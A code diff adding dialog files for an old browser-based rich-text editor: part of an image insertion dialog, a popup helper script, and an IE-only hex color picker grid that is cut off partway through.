+ if (txtFileName.value.length > 2040) {
+ txtFileName.value = txtFileName.value.substring(0,2040);
+ }
+
+ elmImage.src = txtFileName.value;
+
+ if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }
+ else { elmImage.hspace = 0; }
+
+ if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }
+ else { elmImage.vspace = 0; }
+
+ elmImage.alt = txtAltText.value;
+
+ if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }
+ else { elmImage.border = 0; }
+
+ elmImage.align = selAlignment.value;
+ grngMaster.collapse(false);
+ grngMaster.select();
+ window.close();
+}
+</SCRIPT>
+</HEAD>
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>
+
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">
+
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">
+
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">
+<LEGEND id=lgdLayout>Layout</LEGEND>
+</FIELDSET>
+
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">
+<LEGEND id=lgdSpacing>Spacing</LEGEND>
+</FIELDSET>
+
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">
+<OPTION id=optNotSet value=""> Not set </OPTION>
+<OPTION id=optLeft value=left> Left </OPTION>
+<OPTION id=optRight value=right> Right </OPTION>
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>
+<OPTION id=optBottom value=bottom> Bottom </OPTION>
+<OPTION id=optMiddle value=middle> Middle </OPTION>
+<OPTION id=optTop value=top> Top </OPTION>
+</SELECT>
+
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">
+
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">
+
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">
+
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>
+
+</BODY>
+</HTML>
\ No newline at end of file
--- /dev/null
+function __dlg_onclose() {
+ if (!document.all) {
+ opener.Dialog._return(null);
+ }
+};
+
+function __dlg_init() {
+ if (!document.all) {
+ // init dialogArguments, as IE gets it
+ window.dialogArguments = opener.Dialog._arguments;
+ window.sizeToContent();
+ window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var px1 = opener.screenX;
+ var px2 = opener.screenX + opener.outerWidth;
+ var py1 = opener.screenY;
+ var py2 = opener.screenY + opener.outerHeight;
+ var x = (px2 - px1 - window.outerWidth) / 2;
+ var y = (py2 - py1 - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ var body = document.body;
+ window.innerHeight = body.offsetHeight;
+ window.innerWidth = body.offsetWidth;
+ } else {
+ var body = document.body;
+ window.dialogHeight = body.offsetHeight + 50 + "px";
+ window.dialogWidth = body.offsetWidth + "px";
+ }
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ if (document.all) { // IE
+ window.returnValue = val;
+ } else {
+ opener.Dialog._return(val);
+ }
+ window.close();
+};
--- /dev/null
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html style="width: 238px; height: 182px"><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+ <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+ <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+ id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+ <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
